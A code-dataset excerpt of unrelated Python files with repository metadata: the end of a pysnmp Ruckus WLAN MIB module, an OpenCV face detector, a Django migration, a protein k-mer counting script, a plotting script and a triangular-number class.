ruckusWLANStatsAssocSuccessRate = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 17), Unsigned32()).setUnits('percentage').setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsAssocSuccessRate.setStatus('current')
ruckusWLANStatsRxDataFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 18), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxDataFrames.setStatus('current')
ruckusWLANStatsRxMgmtFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 19), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxMgmtFrames.setStatus('current')
ruckusWLANStatsRxCtrlFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 20), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxCtrlFrames.setStatus('current')
ruckusWLANStatsRxUnicastFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 21), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxUnicastFrames.setStatus('current')
ruckusWLANStatsRxMulticastFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 22), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxMulticastFrames.setStatus('current')
ruckusWLANStatsRxBroadcastFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 23), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxBroadcastFrames.setStatus('current')
ruckusWLANStatsRxBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 24), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxBytes.setStatus('current')
ruckusWLANStatsRxDup = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 25), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxDup.setStatus('current')
ruckusWLANStatsRxNoPrivacy = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 26), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxNoPrivacy.setStatus('current')
ruckusWLANStatsRxWEPFail = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 27), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxWEPFail.setStatus('current')
ruckusWLANStatsRxDecryptCRCError = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 28), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxDecryptCRCError.setStatus('current')
ruckusWLANStatsRxMICError = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 29), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxMICError.setStatus('current')
ruckusWLANStatsRxDrops = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 30), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxDrops.setStatus('current')
ruckusWLANStatsRxErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 31), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxErrors.setStatus('current')
ruckusWLANStatsRxFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 32), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxFrames.setStatus('current')
ruckusWLANStatsRxDropRate = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 33), Unsigned32()).setUnits('percentage').setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsRxDropRate.setStatus('current')
ruckusWLANStatsTxDataFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 34), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsTxDataFrames.setStatus('current')
ruckusWLANStatsTxMgmtFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 35), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsTxMgmtFrames.setStatus('current')
ruckusWLANStatsTxUnicastFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 36), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsTxUnicastFrames.setStatus('current')
ruckusWLANStatsTxMulticastFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 37), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsTxMulticastFrames.setStatus('current')
ruckusWLANStatsTxBroadcastFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 38), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsTxBroadcastFrames.setStatus('current')
ruckusWLANStatsTxBytes = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 39), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsTxBytes.setStatus('current')
ruckusWLANStatsTxDrops = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 40), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsTxDrops.setStatus('current')
ruckusWLANStatsTxErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 41), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsTxErrors.setStatus('current')
ruckusWLANStatsTxFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 42), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsTxFrames.setStatus('current')
ruckusWLANStatsPeriodRxErrorRate = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 43), Unsigned32()).setUnits('percentage').setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsPeriodRxErrorRate.setStatus('current')
ruckusWLANStatsPeriodTxErrorRate = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 44), Unsigned32()).setUnits('percentage').setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsPeriodTxErrorRate.setStatus('current')
ruckusWLANStatsPeriodAssocReq = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 45), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsPeriodAssocReq.setStatus('current')
ruckusWLANStatsPeriodAssocResp = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 46), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsPeriodAssocResp.setStatus('current')
ruckusWLANStatsPeriodAssocSuccess = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 4, 1, 47), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStatsPeriodAssocSuccess.setStatus('current')
mibBuilder.exportSymbols("RUCKUS-WLAN-MIB", ruckusWLANStaMQNumRequeued=ruckusWLANStaMQNumRequeued, ruckusWLANSSIDBcastDisable=ruckusWLANSSIDBcastDisable, ruckusWLANStatsNumReAssocResp=ruckusWLANStatsNumReAssocResp, ruckusWLANStaOpMode=ruckusWLANStaOpMode, ruckusWLANSuppDataRatesRxIndex=ruckusWLANSuppDataRatesRxIndex, ruckusWLANStatsTxDrops=ruckusWLANStatsTxDrops, ruckusWLANStatsRxMgmtFrames=ruckusWLANStatsRxMgmtFrames, ruckusWLANStaMQAveTxLatency=ruckusWLANStaMQAveTxLatency, ruckusWLANStaAuthMode=ruckusWLANStaAuthMode, ruckusWLANStaTable=ruckusWLANStaTable, ruckusWLANStaEntry=ruckusWLANStaEntry, ruckusWLANStaStatsTxAuth=ruckusWLANStaStatsTxAuth, ruckusWLANServerSecret=ruckusWLANServerSecret, ruckusWLANStaStatsTxAuthFail=ruckusWLANStaStatsTxAuthFail, ruckusWLANWPAVersion=ruckusWLANWPAVersion, ruckusWLANStaStatsRxRate=ruckusWLANStaStatsRxRate, ruckusWLANStatsTxUnicastFrames=ruckusWLANStatsTxUnicastFrames, ruckusWLANStatsTxMgmtFrames=ruckusWLANStatsTxMgmtFrames, ruckusWLANAAAServerEntry=ruckusWLANAAAServerEntry, ruckusWLANInfo=ruckusWLANInfo, ruckusWLANStaRates=ruckusWLANStaRates, ruckusWLANStatsSSID=ruckusWLANStatsSSID, ruckusWLANFragmentationThreshold=ruckusWLANFragmentationThreshold, ruckusWLANStatsBSSID=ruckusWLANStatsBSSID, ruckusWLANStaMQNumDeactivateQueue=ruckusWLANStaMQNumDeactivateQueue, ruckusWLANStatsNumAssocSuccess=ruckusWLANStatsNumAssocSuccess, ruckusWLANStaMQNumDropped=ruckusWLANStaMQNumDropped, ruckusWLANWEPKey=ruckusWLANWEPKey, ruckusWLANStatsRxFrames=ruckusWLANStatsRxFrames, ruckusWLANWPAReAuthenticationPeriod=ruckusWLANWPAReAuthenticationPeriod, ruckusWLANStatsTxMulticastFrames=ruckusWLANStatsTxMulticastFrames, ruckusWLANIGMPSnooping=ruckusWLANIGMPSnooping, ruckusWLANStatsRxDecryptCRCError=ruckusWLANStatsRxDecryptCRCError, ruckusWLANStaStatsMacAddr=ruckusWLANStaStatsMacAddr, ruckusWLANWEPTable=ruckusWLANWEPTable, ruckusWLANStatsRxDrops=ruckusWLANStatsRxDrops, ruckusWLANStaStatsRxMgmtFrames=ruckusWLANStaStatsRxMgmtFrames, ruckusWLANStaAssocid=ruckusWLANStaAssocid, ruckusWLANStatsRxDup=ruckusWLANStatsRxDup, ruckusWLANStatsNumReAssocReq=ruckusWLANStatsNumReAssocReq, ruckusWLANStatsRxUnicastFrames=ruckusWLANStatsRxUnicastFrames, ruckusWLANSSID=ruckusWLANSSID, ruckusWLANBSSType=ruckusWLANBSSType, ruckusWLANStatsRxErrors=ruckusWLANStatsRxErrors, ruckusWLANStaStatsTxBytes=ruckusWLANStaStatsTxBytes, ruckusWLANStatsTxFrames=ruckusWLANStatsTxFrames, ruckusWLANStatsPeriodRxErrorRate=ruckusWLANStatsPeriodRxErrorRate, ruckusWLANStaStatsTxDropRate=ruckusWLANStaStatsTxDropRate, ruckusWLANOperationalRateSet=ruckusWLANOperationalRateSet, ruckusWLANStaStatsRxDemicFail=ruckusWLANStaStatsRxDemicFail, ruckusWLANStatsRxBytes=ruckusWLANStatsRxBytes, ruckusWLANStatsPeriodAssocResp=ruckusWLANStatsPeriodAssocResp, ruckusWLANStatsPeriodAssocSuccess=ruckusWLANStatsPeriodAssocSuccess, ruckusWLANStaStatsRxBytes=ruckusWLANStaStatsRxBytes, ruckusWLANWEPEntry=ruckusWLANWEPEntry, ruckusWLANStaMQTable=ruckusWLANStaMQTable, ruckusWLANVlanID=ruckusWLANVlanID, ruckusWLANStaStatsTxAssocFail=ruckusWLANStaStatsTxAssocFail, ruckusWLANStaRksTxRetries=ruckusWLANStaRksTxRetries, ruckusWLANState=ruckusWLANState, ruckusWLANStaMQNumEnqueued=ruckusWLANStaMQNumEnqueued, ruckusWLANSecurityMode=ruckusWLANSecurityMode, ruckusWLANStaRksRxGoodFrames=ruckusWLANStaRksRxGoodFrames, ruckusWLANWDSEnable=ruckusWLANWDSEnable, ruckusWLANStaStatsRxWEPFail=ruckusWLANStaStatsRxWEPFail, ruckusWLANStaStatsTxUnicastFrames=ruckusWLANStaStatsTxUnicastFrames, ruckusWLANObjects=ruckusWLANObjects, ruckusWLANBeaconPeriod=ruckusWLANBeaconPeriod, ruckusWLANStaRksTxPer=ruckusWLANStaRksTxPer, ruckusWLANStatsRxNoPrivacy=ruckusWLANStatsRxNoPrivacy, ruckusWLANStatsTxBytes=ruckusWLANStatsTxBytes, ruckusWLANStaMQMaxIpg=ruckusWLANStaMQMaxIpg, ruckusWLANSuppDataRatesRxValue=ruckusWLANSuppDataRatesRxValue, ruckusWLANStaRksAddr=ruckusWLANStaRksAddr, ruckusWLANStatsNumAuthFail=ruckusWLANStatsNumAuthFail, ruckusWLANStaCapInfo=ruckusWLANStaCapInfo, ruckusWLANStatsRxBroadcastFrames=ruckusWLANStatsRxBroadcastFrames, ruckusWLANStatsAuthFailRate=ruckusWLANStatsAuthFailRate, ruckusWLANStatsEntry=ruckusWLANStatsEntry, ruckusWLANProtectionMode=ruckusWLANProtectionMode, ruckusWLANStatsRxDataFrames=ruckusWLANStatsRxDataFrames, ruckusWLANRadioMode=ruckusWLANRadioMode, ruckusWLANEntry=ruckusWLANEntry, ruckusWLANStatsRxMICError=ruckusWLANStatsRxMICError, ruckusWLANTable=ruckusWLANTable, ruckusWLANStaStatsEntry=ruckusWLANStaStatsEntry, ruckusWLANStatsTxErrors=ruckusWLANStatsTxErrors, ruckusWLANRTSThreshold=ruckusWLANRTSThreshold, ruckusWLANStaMQMaxTxLatency=ruckusWLANStaMQMaxTxLatency, ruckusWLANStaMQEntry=ruckusWLANStaMQEntry, ruckusWLANStaRksTxGoodFrames=ruckusWLANStaRksTxGoodFrames, ruckusWLANStatsTable=ruckusWLANStatsTable, ruckusWLANStatsAssocSuccessRate=ruckusWLANStatsAssocSuccessRate, ruckusWLANStaStatsTxRxBytes=ruckusWLANStaStatsTxRxBytes, ruckusWLANSecurityEntry=ruckusWLANSecurityEntry, ruckusWLANStaRssi=ruckusWLANStaRssi, ruckusWLANStatsNumAuthResp=ruckusWLANStatsNumAuthResp, ruckusWLANSuppDataRatesRxTable=ruckusWLANSuppDataRatesRxTable, ruckusWLANChannel=ruckusWLANChannel, ruckusWLANStaStatsTxAssoc=ruckusWLANStaStatsTxAssoc, ruckusWLANStaStatsRxDefrag=ruckusWLANStaStatsRxDefrag, ruckusWLANStatsRxWEPFail=ruckusWLANStatsRxWEPFail, ruckusWLANStatsNumAuthSta=ruckusWLANStatsNumAuthSta, ruckusWLANAdminStatus=ruckusWLANAdminStatus, ruckusWLANWEPKeyIndex=ruckusWLANWEPKeyIndex, ruckusWLANStaMQMinTxLatency=ruckusWLANStaMQMinTxLatency, ruckusWLANDTIMPeriod=ruckusWLANDTIMPeriod, ruckusWLANStaIdle=ruckusWLANStaIdle, ruckusWLANStaMQMinIpg=ruckusWLANStaMQMinIpg, ruckusWLANName=ruckusWLANName, ruckusWLANStaAddr=ruckusWLANStaAddr, ruckusWLANStatsPeriodAssocReq=ruckusWLANStatsPeriodAssocReq, ruckusWLANStaStatsTable=ruckusWLANStaStatsTable, ruckusWLANStatsAssocFailRate=ruckusWLANStatsAssocFailRate, ruckusWLANStaRksTable=ruckusWLANStaRksTable, ruckusWLANStaStatsRxDup=ruckusWLANStaStatsRxDup, ruckusWLANStatsNumAssocReq=ruckusWLANStatsNumAssocReq, ruckusWLANStaMQPktsQueued=ruckusWLANStaMQPktsQueued, ruckusWLANSecurityTable=ruckusWLANSecurityTable, ruckusWLANStatsTxDataFrames=ruckusWLANStatsTxDataFrames, ruckusWLANWEPEncryLenType=ruckusWLANWEPEncryLenType, ruckusWLANStaStatsTxMgmtFrames=ruckusWLANStaStatsTxMgmtFrames, ruckusWLANStatsPeriodTxErrorRate=ruckusWLANStatsPeriodTxErrorRate, ruckusWLANStaRksTxRate=ruckusWLANStaRksTxRate, ruckusWLANWPAEntry=ruckusWLANWPAEntry, ruckusWLANStaStatsRxCtrlFrames=ruckusWLANStaStatsRxCtrlFrames, ruckusWLANStaStatsRSSI=ruckusWLANStaStatsRSSI, ruckusWLANStaErp=ruckusWLANStaErp, ruckusWLANStaIpaddr=ruckusWLANStaIpaddr, ruckusWLANSecurityAuthMode=ruckusWLANSecurityAuthMode, ruckusWLANStaMQAveIpg=ruckusWLANStaMQAveIpg, ruckusWLANSecurityEncryMode=ruckusWLANSecurityEncryMode, ruckusWLANSecurityInfo=ruckusWLANSecurityInfo, PYSNMP_MODULE_ID=ruckusWLANMIB, ruckusWLANMIB=ruckusWLANMIB, ruckusWLANStatsNumAuthReq=ruckusWLANStatsNumAuthReq, ruckusWLANServerPort=ruckusWLANServerPort, ruckusWLANStatsNumAssocResp=ruckusWLANStatsNumAssocResp, ruckusWLANStaStatsRxDataFrames=ruckusWLANStaStatsRxDataFrames, ruckusWLANStaInfo=ruckusWLANStaInfo, ruckusWLANStaRksTxKbps=ruckusWLANStaRksTxKbps, ruckusWLANStatsNumSta=ruckusWLANStatsNumSta, ruckusWLANSuppDataRatesTxTable=ruckusWLANSuppDataRatesTxTable, ruckusWLANAAAServerTable=ruckusWLANAAAServerTable, ruckusWLANWPAKey=ruckusWLANWPAKey, ruckusWLANStaStatsRxMulticastFrames=ruckusWLANStaStatsRxMulticastFrames, ruckusWLANWPARadiusNasId=ruckusWLANWPARadiusNasId, ruckusWLANBSSID=ruckusWLANBSSID, ruckusWLANStaStatsTxRate=ruckusWLANStaStatsTxRate, ruckusWLANStaRksTxRssi=ruckusWLANStaRksTxRssi, ruckusWLANEvents=ruckusWLANEvents, ruckusWLANSuppDataRatesTxIndex=ruckusWLANSuppDataRatesTxIndex, ruckusWLANStatsRxCtrlFrames=ruckusWLANStatsRxCtrlFrames, ruckusWLANStatsTxBroadcastFrames=ruckusWLANStatsTxBroadcastFrames, ruckusWLANServerIpAddress=ruckusWLANServerIpAddress, ruckusWLANStaStatsTxMulticastFrames=ruckusWLANStaStatsTxMulticastFrames, ruckusWLANStaMQNumDequeued=ruckusWLANStaMQNumDequeued, ruckusWLANStaMQQIndex=ruckusWLANStaMQQIndex, ruckusWLANSuppDataRatesTxValue=ruckusWLANSuppDataRatesTxValue, ruckusWLANStaMQAddr=ruckusWLANStaMQAddr, ruckusWLANStatsRxDropRate=ruckusWLANStatsRxDropRate, ruckusWLANSeverMode=ruckusWLANSeverMode, ruckusWLANWPATable=ruckusWLANWPATable, ruckusWLANStaStatsSSID=ruckusWLANStaStatsSSID, ruckusWLANStaStatsTxDecap=ruckusWLANStaStatsTxDecap, ruckusWLANSuppDataRatesRxEntry=ruckusWLANSuppDataRatesRxEntry, ruckusWLANStaStatsTxDataFrames=ruckusWLANStaStatsTxDataFrames, ruckusWLANStaRksRxCrcErrors=ruckusWLANStaRksRxCrcErrors, ruckusWLANStaRksTxDiscardExRetries=ruckusWLANStaRksTxDiscardExRetries, ruckusWLANStatsNumAssocFail=ruckusWLANStatsNumAssocFail, ruckusWLANStatsRxMulticastFrames=ruckusWLANStatsRxMulticastFrames, ruckusWLANStatsNumAuthSuccess=ruckusWLANStatsNumAuthSuccess, ruckusWLANStaStatsRxUnicastFrames=ruckusWLANStaStatsRxUnicastFrames, ruckusWLANStaRksEntry=ruckusWLANStaRksEntry, ruckusWLANStaStatsRxNoPrivacy=ruckusWLANStaStatsRxNoPrivacy, ruckusWLANSuppDataRatesTxEntry=ruckusWLANSuppDataRatesTxEntry)
|
[
"dcwangmit01@gmail.com"
] |
dcwangmit01@gmail.com
|
33487b92751bf0eaf6a62f9ba5ee55ffc8dba1d9
|
1b7417b0c5b7d5828fa352f393be3cfb59654f86
|
/detector.py
|
e9ba908ea6bd84794c226c3fa7fc09bc1e42901f
|
[] |
no_license
|
rkat7/face_detector
|
b69f464a82f55788b0765669a7b6f9655daf85a6
|
d637bbf8743fb63f99d5b24a13d3d20bfdada330
|
refs/heads/master
| 2020-08-07T07:19:00.475312
| 2019-10-07T10:12:21
| 2019-10-07T10:12:21
| 213,350,345
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 717
|
py
|
import cv2
# loading the test image
image = cv2.imread("kids.jpg")
# converting to grayscale
image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
# initialize the face recognizer (default face haar cascade)
face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml")
# detect all the faces in the image
faces = face_cascade.detectMultiScale(image_gray, 1.3, 5)
# print the number of faces detected
print(f"{len(faces)} faces detected in the image.")
# for every face, draw a blue rectangle
for x, y, width, height in faces:
cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2)
# save the image with rectangles
cv2.imwrite("kids_detected.jpg", image)
|
[
"noreply@github.com"
] |
noreply@github.com
|
c496ffdc539d3e86f634178d6487f6152208682f
|
b8c6f79e406e91aa5d76c693ebc0a6a54b6cb191
|
/src/pmoapp/migrations/0021_auto_20171016_2241.py
|
23194ba28a9db95942067eac10351f8019ae6eb3
|
[] |
no_license
|
jtan346/CZ3003_PMO
|
1cdbc28f24972367d146c40fa4651744140735a9
|
a1651eab0f3750d3f725c843d18c614245de94cf
|
refs/heads/master
| 2021-03-22T03:12:56.984319
| 2018-09-10T02:25:01
| 2018-09-10T02:25:01
| 103,250,166
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,193
|
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.11.4 on 2017-10-16 14:41
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('pmoapp', '0020_auto_20171016_2240'),
]
operations = [
migrations.CreateModel(
name='ApproveAgency',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('approve_text', models.CharField(max_length=50)),
('approve_agency', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='pmoapp.ExternalAgency')),
('approve_crisis', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='pmoapp.Crisis')),
],
options={
'verbose_name_plural': 'Agency Approval',
},
),
migrations.AddField(
model_name='crisis',
name='crisis_extAgencies',
field=models.ManyToManyField(null=True, through='pmoapp.ApproveAgency', to='pmoapp.ExternalAgency'),
),
]
|
[
"benjamintanjb@gmail.com"
] |
benjamintanjb@gmail.com
|
a59af38922095895695985e3ca319d0416456618
|
af3f77682b3f61a6d47c0437fde89e4f849a001e
|
/mosaic/results.py
|
71fbacb2ecdc7cc43276d0700c4c6371cb0496f0
|
[] |
no_license
|
guibuzi/bioinfo
|
a055d5cc1bd18c2f9b3a87e395a2e2f8e8058f42
|
38c5596decc75a5bfcb2504623c9adb6a633ddac
|
refs/heads/master
| 2023-01-29T11:53:05.383666
| 2020-12-15T12:29:52
| 2020-12-15T12:29:52
| 218,671,087
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,841
|
py
|
import sys, os, re, random
from collections import Counter, defaultdict
import matplotlib.pyplot as plt
def read_seq(_in):
labels, seqs = [], []
with open(_in) as f:
for line in f:
label, seq = line.split('\t')
seqs.append(seq.strip())
labels.append(label)
return labels, seqs
path = '/Users/jinfeng/Downloads/test.seq'
size = 9
_, sequences2 = read_seq(path)
def get_k_mers(_in):
k_mers = []
seq_len = len(_in)
for i in range(len(_in) - size):
k_mers.append(_in[i: i+size])
return Counter(k_mers)
def get_all_k_mers(_in):
cout_all = defaultdict(int)
for seq in _in:
cout_i = get_k_mers(seq)
for k, v in cout_i.items():
cout_all[k] += v
return cout_all
sequences = sequences2
count_of_all_kmers = get_all_k_mers(sequences)
n_unique_kmers = len(count_of_all_kmers)
n_kmers = sum(list(count_of_all_kmers.values()))
top_10 = sorted(list(count_of_all_kmers.items()), key=lambda x: x[1], reverse=True)[:10]
n_kmers_no_rare = 0
n_unique_kmers_no_rare = 0
for k, v in count_of_all_kmers.items():
if v >= 3:
n_kmers_no_rare += v
n_unique_kmers_no_rare += 1
print("# of input sequences: ", len(sequences))
print("# of unique kmers: ", n_unique_kmers)
print("# of all kmers: ", n_kmers)
print("# of unique no rare kmers: ", n_unique_kmers_no_rare)
print("# of no rare kmers: ", n_kmers_no_rare)
print("top_10 kmers: ", top_10)
to_evaluate = [
"MGGKWSKSSIVGWPAIRERMRRTEPRTEPAAEGVGAVSQDLARHGAITSSNTAANNPDCAWLEAQEEDE",
"MGGKWSKSSVVGWPAVRERMRRTEPAAEGVGAASQDLDKHGAITSSNTAATNADCAWLEAQEDEE",
"MGGKWSKSSIVGWPAVRERIRRTEPAAEGVGAASRDLEKHGAITSSNTATNNADCAWLQAQEEEE",
"MGSKWSKSSIVGWPAVRERMRRAEPAADGVGAVSRDLERHGAITSSNTAANNADCAWLEAQEEEE"]
# to_evaluate = [
# 'MGGKWSKSSIVGWPAIRERMRRAEPAAEGVGAVSQDLARHGAITSSNTAANNADCAWLQAQEEEE',
# 'MGGKWSKSSIVGWPAIRERMRRTEPAAEGVGAASQDLDKHGAITSSNTATNNADCAWLEAQEEEE',
# 'MGGKWSKSSVVGWPAVRERMRRAEPAADGVGAVSRDLERHGAITSSNTAATNADCAWLEAQEEDE',
# 'MGSKWSKSSIVGWPAVRERIRRTEPAAEGVGAASRDLEKHGAITSSNTAANNPDCAWLEAQEDEE']
kmers_of_query = get_all_k_mers(to_evaluate)
n_unique_kmers_in_query = len(kmers_of_query)
# n_kmers_in_query = sum(list(kmers_of_query.values()))
print("# of query sequences: ", len(to_evaluate))
print("# of unique kmers: ", n_unique_kmers_in_query)
# print("# of all kmers: ", n_kmers_in_query)
score = 0
score_list = []
for kmer in kmers_of_query.keys():
score_list.append(count_of_all_kmers.get(kmer, 0))
score += count_of_all_kmers.get(kmer, 0)
print("lowest score: ", sorted(score_list)[:10])
print("Hightest score: ", sorted(score_list, reverse=True)[:10])
print("score of query: ", score)
print(score / n_kmers)
print(score / n_kmers_no_rare)
print(n_unique_kmers_in_query / n_unique_kmers)
print(n_unique_kmers_in_query / n_unique_kmers_no_rare)
|
[
"guibuzi@outlook.com"
] |
guibuzi@outlook.com
|
ad46e0cb6259ed806649b04c09511680b76f932f
|
e2471bacec3a7d2a344e5df5a01035949865e973
|
/RexJggData/no2/plot.py
|
fad59f51aed4f622db89e72e7c7fac9bb33bdc7c
|
[] |
no_license
|
ono-lab/FreshMan2019_RexNJgg_Kujirada
|
2d5dc7112e0f6245768bb86b53f8214ad3fbae0e
|
bc065d00a95800131361d6574b45018a9e9d1c70
|
refs/heads/master
| 2020-05-15T21:37:11.539488
| 2019-05-08T10:09:23
| 2019-05-08T10:09:23
| 182,503,079
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 364
|
py
|
import matplotlib.pyplot as plt
import pandas as pd
df = pd.DataFrame.from_csv('RexJggKTableP14K5_no1.csv', header=1);
print(df)
df.plot(legend=False);
plt.xlim(0, 80 * (10**4));
plt.ylim(10**(-8), 10**4);
plt.xlabel("Number of Evals");
plt.ylabel("Best Evaluation Value");
plt.yscale('log')
plt.savefig('no1_14n.pdf');
plt.show();
plt.close();
|
[
"49476274+Renya-Kujirada@users.noreply.github.com"
] |
49476274+Renya-Kujirada@users.noreply.github.com
|
62cdd2136986368bbf1b0b11e0bd9c2b67467903
|
6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4
|
/ysgbRFTPujx8v37yF_9.py
|
6636e68c4e204f96c2ae4dff5513f35eb4a94f15
|
[] |
no_license
|
daniel-reich/ubiquitous-fiesta
|
26e80f0082f8589e51d359ce7953117a3da7d38c
|
9af2700dbe59284f5697e612491499841a6c126f
|
refs/heads/master
| 2023-04-05T06:40:37.328213
| 2021-04-06T20:17:44
| 2021-04-06T20:17:44
| 355,318,759
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 835
|
py
|
class Triangle:
def __init__(self):
self.r = {1: [1]}
self.last_row = 1
self.last_num = 1
def advance(self):
new_row = self.last_row + 1
nr = [n for n in range(self.last_num+1, self.last_num + new_row + 1)]
self.last_num = nr[-1]
self.last_row += 1
self.r[new_row] = nr
return True
def advance_to_row(self, row_goal):
while self.last_row < row_goal:
self.advance()
return True
def advance_to_num(self, num_goal):
while self.last_num < num_goal:
self.advance()
return True
def search_by_row(self, row):
return self.r[row]
def search_by_num(self, num):
return self.r[[k for k in self.r.keys() if num in self.r[k]][0]]
t = Triangle()
t.advance_to_row(1000)
def row_sum(n):
return sum(t.search_by_row(n))
|
[
"daniel.reich@danielreichs-MacBook-Pro.local"
] |
daniel.reich@danielreichs-MacBook-Pro.local
|
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